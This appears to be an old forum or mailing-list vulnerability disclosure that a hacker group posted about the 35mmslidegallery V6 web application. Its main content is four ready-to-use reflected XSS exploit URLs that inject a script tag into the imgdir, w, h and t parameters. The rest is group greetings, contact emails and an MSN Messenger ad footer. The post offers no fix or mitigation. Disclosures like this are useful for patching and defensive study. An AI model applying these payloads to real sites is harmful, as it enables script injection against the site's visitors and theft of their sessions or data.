multiple Xss exploits in 35mmslidegallery V6

forum type : 35mmslidegallery V6
bug found by : black-code
team : $!T3-D0WN
type : Xss

####################################################
exploits :

http://example.com/lumet/album/index.php?imgdir='><script>alert(10)</scr
ipt>

http://example.comr/lumet/album/popup.php?w='><script>alert(10)</script>

http://example.com/lumet/album/popup.php?h='><script>alert(10)</script>

http://example.com/lumet/album/popup.php?t='><script>alert(10)</script>

####################################################

#######################
emails:

black-cod3 (at) hotmail (dot) com [email concealed] & gamr-14 (at) hotmail (dot) com [email concealed] & v8f3 (at) hotmail (dot) com [email concealed]
#######################

All my respect to our friends , lezr.com , g123g.net

done .. peace

_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today it's FREE!
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/

[ reply ]